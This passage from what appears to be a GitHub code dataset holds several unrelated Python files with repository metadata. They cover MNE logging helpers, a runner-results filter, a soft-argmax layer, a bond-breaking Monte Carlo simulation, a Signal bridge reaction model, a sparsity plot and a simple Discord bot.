    Namespaces to ignore when traversing the stack.\n\n        .. versionadded:: 0.24\n    \"\"\"\n    root_dirs = [importlib.import_module(ns) for ns in ignore_namespaces]\n    root_dirs = [op.dirname(ns.__file__) for ns in root_dirs]\n    frame = None\n    if logger.level <= logging.WARNING:\n        frame = inspect.currentframe()\n        while frame:\n            fname = frame.f_code.co_filename\n            lineno = frame.f_lineno\n            # in verbose dec\n            if not _verbose_dec_re.search(fname):\n                # treat tests as scripts\n                # and don't capture unittest/case.py (assert_raises)\n                if (\n                    not (\n                        any(fname.startswith(rd) for rd in root_dirs)\n                        or (\"unittest\" in fname and \"case\" in fname)\n                    )\n                    or op.basename(op.dirname(fname)) == \"tests\"\n                ):\n                    break\n            frame = frame.f_back\n        del frame\n        # We need to use this instead of warn(message, category, stacklevel)\n        # because we move out of the MNE stack, so warnings won't properly\n        # recognize the module name (and our warnings.simplefilter will fail)\n        warnings.warn_explicit(\n            message,\n            category,\n            fname,\n            lineno,\n            module,\n            globals().get(\"__warningregistry__\", {}),\n        )\n    # To avoid a duplicate warning print, we only emit the logger.warning if\n    # one of the handlers is a FileHandler. See gh-5592\n    # But it's also nice to be able to do:\n    # with mne.utils.use_log_level('warning', add_frames=3):\n    # so also check our add_frames attribute.\n    if (\n        any(\n            isinstance(h, logging.FileHandler) or getattr(h, \"_mne_file_like\", False)\n            for h in logger.handlers\n        )\n        or _filter.add_frames\n    ):\n        logger.warning(message)\n\n\ndef _get_call_line():\n    \"\"\"Get the call line from within a function.\"\"\"\n    frame = inspect.currentframe().f_back.f_back\n    if _verbose_dec_re.search(frame.f_code.co_filename):\n        frame = frame.f_back\n    context = inspect.getframeinfo(frame).code_context\n    context = \"unknown\" if context is None else context[0].strip()\n    return context\n\n\ndef filter_out_warnings(warn_record, category=None, match=None):\n    r\"\"\"Remove particular records from ``warn_record``.\n\n    This helper takes a list of :class:`warnings.WarningMessage` objects,\n    and remove those matching category and/or text.\n\n    Parameters\n    ----------\n    category: WarningMessage type | None\n       class of the message to filter out\n\n    match : str | None\n        text or regex that matches the error message to filter out\n    \"\"\"\n    regexp = re.compile(\".*\" if match is None else match)\n    is_category = [\n        w.category == category if category is not None else True\n        for w in warn_record._list\n    ]\n    is_match = [regexp.match(w.message.args[0]) is not None for w in warn_record._list]\n    ind = [ind for ind, (c, m) in enumerate(zip(is_category, is_match)) if c and m]\n\n    for i in reversed(ind):\n        warn_record._list.pop(i)\n\n\n@contextlib.contextmanager\ndef wrapped_stdout(indent=\"\", cull_newlines=False):\n    \"\"\"Wrap stdout writes to logger.info, with an optional indent prefix.\n\n    Parameters\n    ----------\n    indent : str\n        The indentation to add.\n    cull_newlines : bool\n        If True, cull any new/blank lines at the end.\n    \"\"\"\n    orig_stdout = sys.stdout\n    my_out = ClosingStringIO()\n    sys.stdout = my_out\n    try:\n        yield\n    finally:\n        sys.stdout = orig_stdout\n        pending_newlines = 0\n        for line in my_out.getvalue().split(\"\\n\"):\n            if not line.strip() and cull_newlines:\n                pending_newlines += 1\n                continue\n            for _ in range(pending_newlines):\n                logger.info(\"\\n\")\n            logger.info(indent + line)\n\n\ndef _frame_info(n):\n    frame = inspect.currentframe()\n    try:\n        frame = frame.f_back\n        infos = list()\n        for _ in range(n):\n            try:\n                name = frame.f_globals[\"__name__\"]\n            except KeyError:  # in our verbose dec\n                pass\n            else:\n                infos.append(f'{name.lstrip(\"mne.\")}:{frame.f_lineno}')\n            frame = frame.f_back\n            if frame is None:\n                break\n        return infos\n    except Exception:\n        return [\"unknown\"]\n    finally:\n        del frame\n\n\ndef _verbose_safe_false(*, level=\"warning\"):\n    lev = _LOGGING_TYPES[level.upper()]\n    return lev if logger.level <= lev else None\n", "repo_name": "mne-tools/mne-python", "sub_path": "mne/utils/_logging.py", "file_name": "_logging.py", "file_ext": "py", "file_size_in_byte": 16841, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2405, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.Filter", "line_number": 24, "usage_type": "attribute"}, {"api_name": "typing.TypeVar", "line_number": 51, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 51, "usage_type": "name"}, {"api_name": "docs.fill_doc", "line_number": 96, "usage_type": "call"}, {"api_name": "decorator.FunctionMaker", "line_number": 115, "usage_type": "call"}, {"api_name": "docs.fill_doc", "line_number": 124, "usage_type": "name"}, {"api_name": "logging.DEBUG", "line_number": 172, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 173, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 174, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 175, "usage_type": "attribute"}, {"api_name": "logging.CRITICAL", "line_number": 176, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 211, "usage_type": "call"}, {"api_name": "docs.fill_doc", "line_number": 180, "usage_type": "name"}, {"api_name": "check._validate_type", "line_number": 221, "usage_type": "call"}, {"api_name": "config.get_config", "line_number": 223, "usage_type": "call"}, {"api_name": "check._check_option", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 262, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 271, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 277, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 279, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 287, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 287, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 288, "usage_type": "attribute"}, {"api_name": "io.StringIO", "line_number": 293, "usage_type": "name"}, {"api_name": "contextlib.nullcontext", "line_number": 318, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 320, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 321, "usage_type": "call"}, {"api_name": "warnings.catch_warnings", "line_number": 338, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 339, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 334, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 353, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 354, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 359, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 385, "usage_type": "call"}, {"api_name": "os.path", "line_number": 385, "usage_type": "name"}, {"api_name": "logging.WARNING", "line_number": 387, "usage_type": "attribute"}, {"api_name": "inspect.currentframe", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 401, "usage_type": "call"}, {"api_name": "os.path", "line_number": 401, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 401, "usage_type": "call"}, {"api_name": "warnings.warn_explicit", "line_number": 409, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 424, "usage_type": "attribute"}, {"api_name": "inspect.currentframe", "line_number": 434, "usage_type": "call"}, {"api_name": "inspect.getframeinfo", "line_number": 437, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 456, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 479, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 481, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 485, "usage_type": "attribute"}, {"api_name": "contextlib.contextmanager", "line_number": 468, "usage_type": "attribute"}, {"api_name": "inspect.currentframe", "line_number": 497, "usage_type": "call"}]}
{"seq_id": "73363294311", "text": "import json\nfrom zipfile import ZipFile\nfrom zipfile import ZIP_DEFLATED\nfrom os import listdir\nimport os.path\nimport csv\n\ndef read_json(json_file_name):\n    with open(json_file_name, 'r') as file:\n        data = json.load(file)\n        return data\n        \ndef write_json(jsonFileName, data):\n    with open(jsonFileName, 'w') as file:\n        json.dump(data, file, ensure_ascii=False, allow_nan=False)\n\ndef file_extract(inp_file_name):\n    with ZipFile(inp_file_name, 'r') as zf:\n        zf.extractall('temp')\n\ndef extract_input_to_temp():\n    list_files = os.listdir('input/')\n    for file_name in list_files:\n        if(file_name.split(\".\")[-1] == 'zip'):\n            file_extract(f'input/{file_name}')\n\ndef get_list_files():\n    list_files = os.listdir('temp/')\n    new_list = []\n    for file_name in list_files:\n        new_list.append(f'temp/{file_name}')\n    return new_list\n\ndef clear_temp():\n    dir = 'temp'\n    if os.path.exists(dir):\n        list_files = os.listdir(dir)\n        for file in list_files:\n            file_path = os.path.join(dir, file)\n            if os.path.isfile(file_path):\n                os.remove(file_path)\n        os.rmdir(dir)\n\ndef read_event(json_file_name, runners):\n    event = read_json(json_file_name)\n    event_name = event['eventName']\n    print(event_name)\n    for runner in event['items']:\n        #print(runner)\n        full_name = f'{runner[\"firstName\"]} {runner[\"lastName\"]}'.strip()\n        #print(full_name)\n        #global runners\n        if full_name not in runners:\n            runners[full_name] = []\n        runners[full_name].append(event_name)\n\ndef read_events(list_files):\n    runners = {}\n    for event in list_files:\n        read_event(event, runners)\n    return runners\n\ndef filter_runners(runners):\n    #global runners\n    filtered_runners = {};\n    for full_name in runners:\n        events = runners[full_name]\n        if(len(events)>=5):\n            filtered_runners[full_name] = events\n    return filtered_runners\n\ndef pepare_filtered_runners(json_file_name):\n    clear_temp()\n    extract_input_to_temp()\n    list_files = get_list_files()\n    runners = read_events(list_files)\n    filtered_runners = filter_runners(runners)\n    write_json(json_file_name, filtered_runners)\n    \ndef make_filtered_runners_csv(csv_file_name, json_file_name):\n    runners = read_json(json_file_name)\n    len_events = 5\n    header = ['Full name']\n    header.extend( ['Event' for i in range(len_events)])\n    with open(csv_file_name, 'w') as file:\n        csv_writer = csv.writer(file)\n        csv_writer.writerow(header)\n\n        for runner in runners:\n            full_name = runner\n            if full_name == 'Anonymous':\n                continue\n            events = runners[full_name]\n            row = []\n            row.append(full_name)\n            len_e = len_events\n            #if len(events) < len_events:\n            #    len_e = len(events)\n            len_e = len(events)\n            for i in range(len_e):\n                row.append(events[i])\n            csv_writer.writerow(row)\n\ndef make_popular_events_csv(csv_file_name, json_file_name):\n    runners = read_json(json_file_name)\n    header = ['Event']\n    events = {}\n    for runner in runners:\n        full_name = runner\n        events_ = runners[full_name]\n        for event in events_:\n            if event not in events:\n                events[event] = 0\n            events[event] += 1\n    # events table        \n    header = ['Event', 'Active participants']\n    with open(csv_file_name, 'w') as file:\n        csv_writer = csv.writer(file)\n        csv_writer.writerow(header)\n        for event in events:\n            row = []\n            row.append(event)\n            row.append(events[event])\n            csv_writer.writerow(row)\n\n\n\n\ndef main():\n    json_file_name = 'filtered_runners.json'\n    pepare_filtered_runners(json_file_name)\n    csv_file_name = 'filtered_runners.csv'\n    make_filtered_runners_csv(csv_file_name, json_file_name)\n    csv_file_name = 'popular_filtered_events.csv'\n    make_popular_events_csv(csv_file_name, json_file_name)\n    \n    pass\n\n\nif __name__ == '__main__':\n    main()", "repo_name": "aospiridonov/yassport_analitics", "sub_path": "filter_runners.py", "file_name": "filter_runners.py", "file_ext": "py", "file_size_in_byte": 4120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 15, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 18, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 41, "usage_type": "call"}, {"api_name": "os.rmdir", "line_number": 42, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 86, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "71350706791", "text": "import torch \nfrom torch import Tensor, nn \nfrom torch.nn import functional as F\n\nclass SoftArgmax2d(nn.Module):\n    \"\"\"\n    Adapted from: \n    https://github.com/Ttayu/softargmax/blob/master/softargmax.py\n    \"\"\"\n    \n    def __init__(self, beta: int = 100, return_xy: bool = False):\n        super().__init__()\n        self.beta = beta\n        self.return_xy = return_xy\n\n    def forward(self, heatmap: Tensor) -> Tensor:\n        heatmap = heatmap.mul(self.beta)\n        batch_size, num_channel, height, width = heatmap.size()\n        device: str = heatmap.device\n\n        softmax: torch.Tensor = F.softmax(\n            heatmap.view(batch_size, num_channel, height * width), dim=2\n        ).view(batch_size, num_channel, height, width)\n\n        xx, yy = torch.meshgrid(list(map(torch.arange, [width, height])))\n\n        approx_x = (\n            softmax.mul(xx.float().to(device))\n            .view(batch_size, num_channel, height * width)\n            .sum(2)\n            .unsqueeze(2)\n        )\n        approx_y = (\n            softmax.mul(yy.float().to(device))\n            .view(batch_size, num_channel, height * width)\n            .sum(2)\n            .unsqueeze(2)\n        )\n\n        output = [approx_x, approx_y] if self.return_xy else [approx_y, approx_x]\n        output = torch.cat(output, 2)\n        return output\n\n\ndef soft_argmax2d(heatmap: Tensor, beta: int = 100, return_xy: bool = False) -> Tensor:\n    return SoftArgmax2d(beta, return_xy)(heatmap)", "repo_name": "flavioschneider/hand-3d-keypoint", "sub_path": "src/models/architectures/functional.py", "file_name": "functional.py", "file_ext": "py", "file_size_in_byte": 1461, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.softmax", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.meshgrid", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 45, "usage_type": "name"}]}
{"seq_id": "34177527790", "text": "from random import random\nfrom math import exp,log\nfrom scipy.integrate import quad\nfrom scipy.optimize import root_scalar\n\n\n\n\n   \ndef kmcSolidBridge(tFinal,v,kOff,kOn,fc,nBonds,kEff,kBond):\n    \"\"\"\n    Generates a kmc simulation of the stochastic bond model for the solid bridge. \n    tFinal: Simulation runs from time t = 0 until the last event causes  t > tFinal\n    v:      Velocity of the AFM cantilever base\n    kOff:   The zero force unbonding rate of the solid bridge bonds\n    kOn:    The bonding rate of the solid bridge bonds\n    fc:     The critical force in the Bell model of bond breaking\n    nBonds: The total number of bonds in the solid bridge\n    kEff:   The effective spring constant of the AFM arm, and the particle-substrate\n            interaction\n    kBond:  The spring constant of a bond in the solid bridge\n\n    outputs: ts: The times of each event\n             ns: ns[i] is the number of active bonds between time ts[i] and ts[i+1] \n    \"\"\"\n\n    def forceBond(_t,_n):\n        \"\"\"\n        Computes the force on a single bond as a function of time _t, \n        assuming _n bonds are active.\n        \"\"\"\n        if _n == 0:\n            return 0.\n        else:\n            return kEff*kBond*v*_t/(kEff + kBond*_n)\n\n\n    def getNextEvent(_t,_n):\n        \"\"\"\n        Randomly select the next event assuming _n bonds are currently active,\n        and the current time is _t.\n        Returns the time step dt to the next event, and whether the event was \n        a bonding, dn = +1, or an unbonding, dn = -1.\n        \"\"\"\n        if _n == 0:\n            dt = log(1/random())/nBonds/kOn\n            dn = 1\n        else:     \n            u = random()\n            maxT = log(1/u)/((nBonds - _n)*kOn + _n*kOff)\n            #use the total rate to chose a time step\n            rootFunc = lambda s: (nBonds - _n)*kOn*s + _n*kOff*quad(lambda z: exp(forceBond(_t + z,_n)/fc),0,s)[0] - log(1/u)\n            drootFunc = lambda s: (nBonds - _n)*kOn + _n*kOff*exp(forceBond(_t+s,_n)/fc)\n            dt = root_scalar(rootFunc, method = \"newton\",\n                        bracket = [0,maxT],\n                        x0 = maxT/2,\n                        options = {\"xtol\":float(1e-6),\"rtol\":float(1e-6)},\n                        fprime = drootFunc).root\n            # decide whether the next event is a bonding or unbonding\n            onRate = (nBonds - _n)*kOn*dt\n            offRate = _n*kOff*quad(exp(lambda s: forceBond(_t + s,_n)/fc),0,dt)[0]\n            if random() < onRate/(onRate + offRate):\n                dn = + 1\n            else:\n                dn = - 1 \n        return dt,dn\n \n    t = 0.0\n    n = nBonds \n    ts = [t,]\n    ns = [n,]\n    \n    while t < tFinal:\n        dt,dn = getNextEvent(t,n)\n        t += dt\n        n += dn\n        ts.append(t)\n        ns.append(n)\n    return ts,ns\n\n", "repo_name": "celiareina/EmergenceViscosity", "sub_path": "kmcSolidBridge.py", "file_name": "kmcSolidBridge.py", "file_ext": "py", "file_size_in_byte": 2804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "math.log", "line_number": 46, "usage_type": "call"}, {"api_name": "random.random", "line_number": 46, "usage_type": "call"}, {"api_name": "random.random", "line_number": 49, "usage_type": "call"}, {"api_name": "math.log", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 52, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 52, "usage_type": "call"}, {"api_name": "math.log", "line_number": 52, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.optimize.root_scalar", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 61, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 61, "usage_type": "call"}, {"api_name": "random.random", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "28067370349", "text": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, ClassVar\nfrom uuid import UUID\n\nfrom attr import dataclass\nimport asyncpg\n\nfrom mausignald.types import GroupID\nfrom mautrix.types import EventID, RoomID\nfrom mautrix.util.async_db import Database\n\nfrom .util import ensure_uuid\n\nfake_db = Database.create(\"\") if TYPE_CHECKING else None\n\n\n@dataclass\nclass Reaction:\n    db: ClassVar[Database] = fake_db\n\n    mxid: EventID\n    mx_room: RoomID\n    signal_chat_id: GroupID | UUID\n    signal_receiver: str\n    msg_author: UUID\n    msg_timestamp: int\n    author: UUID\n    emoji: str\n\n    async def insert(self) -> None:\n        q = (\n            \"INSERT INTO reaction (mxid, mx_room, signal_chat_id, signal_receiver, msg_author,\"\n            \"                      msg_timestamp, author, emoji) \"\n            \"VALUES ($1, $2, $3, $4, $5, $6, $7, $8)\"\n        )\n        await self.db.execute(\n            q,\n            self.mxid,\n            self.mx_room,\n            str(self.signal_chat_id),\n            self.signal_receiver,\n            self.msg_author,\n            self.msg_timestamp,\n            self.author,\n            self.emoji,\n        )\n\n    async def edit(self, mx_room: RoomID, mxid: EventID, emoji: str) -> None:\n        await self.db.execute(\n            \"UPDATE reaction SET mxid=$1, mx_room=$2, emoji=$3 \"\n            \"WHERE signal_chat_id=$4 AND signal_receiver=$5\"\n            \"      AND msg_author=$6 AND msg_timestamp=$7 AND author=$8\",\n            mxid,\n            mx_room,\n            emoji,\n            str(self.signal_chat_id),\n            self.signal_receiver,\n            self.msg_author,\n            self.msg_timestamp,\n            self.author,\n        )\n\n    async def delete(self) -> None:\n        q = (\n            \"DELETE FROM reaction WHERE signal_chat_id=$1 AND signal_receiver=$2\"\n            \"                           AND msg_author=$3 AND msg_timestamp=$4 AND author=$5\"\n        )\n        await self.db.execute(\n            q,\n            str(self.signal_chat_id),\n            self.signal_receiver,\n            self.msg_author,\n            self.msg_timestamp,\n            self.author,\n        )\n\n    @classmethod\n    def _from_row(cls, row: asyncpg.Record | None) -> Reaction | None:\n        if row is None:\n            return None\n        data = {**row}\n        chat_id = data.pop(\"signal_chat_id\")\n        if data[\"signal_receiver\"]:\n            chat_id = ensure_uuid(chat_id)\n        msg_author = ensure_uuid(data.pop(\"msg_author\"))\n        author = ensure_uuid(data.pop(\"author\"))\n        return cls(signal_chat_id=chat_id, msg_author=msg_author, author=author, **data)\n\n    @classmethod\n    async def get_by_mxid(cls, mxid: EventID, mx_room: RoomID) -> Reaction | None:\n        q = (\n            \"SELECT mxid, mx_room, signal_chat_id, signal_receiver,\"\n            \"       msg_author, msg_timestamp, author, emoji \"\n            \"FROM reaction WHERE mxid=$1 AND mx_room=$2\"\n        )\n        return cls._from_row(await cls.db.fetchrow(q, mxid, mx_room))\n\n    @classmethod\n    async def get_by_signal_id(\n        cls,\n        chat_id: GroupID | UUID,\n        receiver: str,\n        msg_author: UUID,\n        msg_timestamp: int,\n        author: UUID,\n    ) -> Reaction | None:\n        q = (\n            \"SELECT mxid, mx_room, signal_chat_id, signal_receiver,\"\n            \"       msg_author, msg_timestamp, author, emoji \"\n            \"FROM reaction WHERE signal_chat_id=$1 AND signal_receiver=$2\"\n            \"                    AND msg_author=$3 AND msg_timestamp=$4 AND author=$5\"\n        )\n        return cls._from_row(\n            await cls.db.fetchrow(\n                q,\n                str(chat_id),\n                receiver,\n                msg_author,\n                msg_timestamp,\n                author,\n            )\n        )\n", "repo_name": "mautrix/signal", "sub_path": "mautrix_signal/db/reaction.py", "file_name": "reaction.py", "file_ext": "py", "file_size_in_byte": 3798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 410, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 15, "usage_type": "name"}, {"api_name": "mautrix.util.async_db.Database.create", "line_number": 15, "usage_type": "call"}, {"api_name": "mautrix.util.async_db.Database", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 20, "usage_type": "name"}, {"api_name": "mautrix.util.async_db.Database", "line_number": 20, "usage_type": "name"}, {"api_name": "mautrix.types.EventID", "line_number": 22, "usage_type": "name"}, {"api_name": "mautrix.types.RoomID", "line_number": 23, "usage_type": "name"}, {"api_name": "mausignald.types.GroupID", "line_number": 24, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 24, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 26, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 28, "usage_type": "name"}, {"api_name": "mautrix.types.RoomID", "line_number": 49, "usage_type": "name"}, {"api_name": "mautrix.types.EventID", "line_number": 49, "usage_type": "name"}, {"api_name": "asyncpg.Record", "line_number": 79, "usage_type": "attribute"}, {"api_name": "util.ensure_uuid", "line_number": 85, "usage_type": "call"}, {"api_name": "util.ensure_uuid", "line_number": 86, "usage_type": "call"}, {"api_name": "util.ensure_uuid", "line_number": 87, "usage_type": "call"}, {"api_name": "mautrix.types.EventID", "line_number": 91, "usage_type": "name"}, {"api_name": "mautrix.types.RoomID", "line_number": 91, "usage_type": "name"}, {"api_name": "mausignald.types.GroupID", "line_number": 102, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 102, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 104, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 106, "usage_type": "name"}, {"api_name": "attr.dataclass", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "14238075148", "text": "from prime import isPremier, primeList, getPrimeProbaList, getAllProbaList\r\nfrom action_functions import sparsity\r\nfrom random import choices\r\nimport matplotlib.pyplot as plt\r\n\r\nx = 20\r\nMAXLOOPTIME = 6\r\n\r\nCATEGORY = ['K', 'C', 'OY', 'OX', 'FY', 'FX']\r\n\r\ndef generateTemporalMapping(x, MAXLOOPTIME, CATEGORY):\r\n    xList = primeList(x)\r\n    xProba = getPrimeProbaList(x)\r\n    loopProba = getAllProbaList(MAXLOOPTIME + 1)[1:]\r\n    temporalMapping = []\r\n\r\n    for cat in CATEGORY:\r\n        loopTime = choices(list(range(MAXLOOPTIME)), loopProba)\r\n        s = choices(xList, weights= xProba)[0]\r\n        #print(\"loopTime: \",loopTime, \"s: \" , s)\r\n        temporalMapping += [(cat, s)]\r\n        for i in range(loopTime[0]):\r\n         #   print(\"gottin\")\r\n            s = choices(xList, weights= xProba)[0]\r\n            temporalMapping += [(cat, s)]\r\n    return temporalMapping\r\n\r\nsparsityList = []\r\nPRECISION = 50\r\nxAxe = list(range(6,100))\r\nfor i in xAxe:\r\n    if i%10 == 0:\r\n        print(i)\r\n    sparsityCumul = 0\r\n    for j in range(PRECISION):\r\n        mapping = generateTemporalMapping(i, MAXLOOPTIME, CATEGORY)\r\n        sparsityCumul += sparsity(mapping)\r\n    meanSparsity = sparsityCumul/PRECISION\r\n    sparsityList += [meanSparsity]\r\n\r\n\r\nplt.plot(xAxe, sparsityList)\r\nplt.xlabel(\"Size of Temporal Mapping\")\r\nplt.ylabel(\"Sparsity\")\r\nplt.show()\r\n\r\n\r\n", "repo_name": "horhaj/SearchSpace_Sparsity_Optimization", "sub_path": "Permutation sparsity and optimization/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 1351, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "prime.primeList", "line_number": 12, "usage_type": "call"}, {"api_name": "prime.getPrimeProbaList", "line_number": 13, "usage_type": "call"}, {"api_name": "prime.getAllProbaList", "line_number": 14, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 18, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 19, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 24, "usage_type": "call"}, {"api_name": "action_functions.sparsity", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]}
{"seq_id": "4294519556", "text": "import requests\r\nfrom sys import argv\r\n\r\nscript,url = argv\r\n\r\nUSAGE='''\r\nUSAGE:\r\npython dead_link.py www.itest.info\r\n'''\r\nif len(argv)!=2:\r\n    print(USAGE)\r\n    exit()\r\n\r\nr = requests.get(url)\r\n\r\nprint(\"接口地址\",url,'\\n')\r\nprint(\"状态码\",r.status_code,'\\n')\r\nprint(f\"Headers:\")\r\nfor key, value in r.headers.items():\r\n  print(f\"{key} : {value}\")\r\n\r\n\r\nprint(r.text)\r\n\r\n", "repo_name": "coffee-loves/sdlc", "sub_path": "test_case/get.py", "file_name": "get.py", "file_ext": "py", "file_size_in_byte": 376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "argument"}, {"api_name": "requests.get", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "25264363538", "text": "import discord\nimport asyncio\nimport urllib.request\nimport json\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n   print('Logged in as')\n   print(client.user.name)\n   print(client.user.id)\n   print('------')\n\n@client.event\nasync def on_message(message):\n\n   if message.content.startswith('!test'):\n       #tmp = await client.send_message(message.channel, 'Calculating messages...')\n       #async for log in client.logs_from(message.channel, limit=100):\n       #    if log.author == message.author:\n       #        counter += 1\n\n       await client.edit_message(tmp, 'You are {} .'.format(message.author))\n\n   elif message.content.startswith('!user'):\n       await client.send_message(message.channel, 'Information received from API : {username, gamename, game, soloq, flexq, team}')\n       username = 'Arailla'\n       gamename = 'Arailla'\n       game = 'League of Legends'\n       soloq = 'Silver I'\n       flexq = 'Silver III'\n       team = 'none'\n       await client.send_message(message.channel,  'Username: {}, \\nIn game name: {},\\nGame Played: {},\\nSoloQ Rank: {},\\nFlexQ Rank: {},\\nTeam Name: {}'\n           .format(username, gamename, game, soloq, flexq, team))\n       await send_request(message, \"user\")\n\n   elif message.content.startswith('!team'):\n       await client.send_message(message.channel, 'Information received from API : {name, lvlMin, lvlMax, age, schedule, missingRoles}')\n       await send_request(message, \"team\")\n\n   elif message.content.startswith('!search'):\n       await client.send_message(message.channel, 'Information received from API :  {gamename, game, soloq, flexq, schedule, age}')\n       await send_request(message, \"search\")\n\n   elif message.content.startswith('!mentor'):\n       await client.send_message(message.channel, 'Information received from API :  {gamename, game, soloq, flexq, followSolo, followTeam, rating, role, top, certified, link}')\n       await send_request(message, \"mentor\")\n\n   elif message.content.startswith('!info'):\n       await client.send_message(message.channel, 'Information received from API :  {gamename, game, status, mentor}')\n       #display available commands depending on info\n       await client.send_message(message.channel, 'Welcome gamename ! You can use the following commands:')\n       await send_request(message, \"info\")\n\n   elif message.content.startswith('!'):\n       await client.send_message(message.channel, \"Command Unknown : {}\".format(message.content))\n\n   #les messages du bot sont comptés comme des events, donc ne rien écrire en dessous pour ne pas boucler 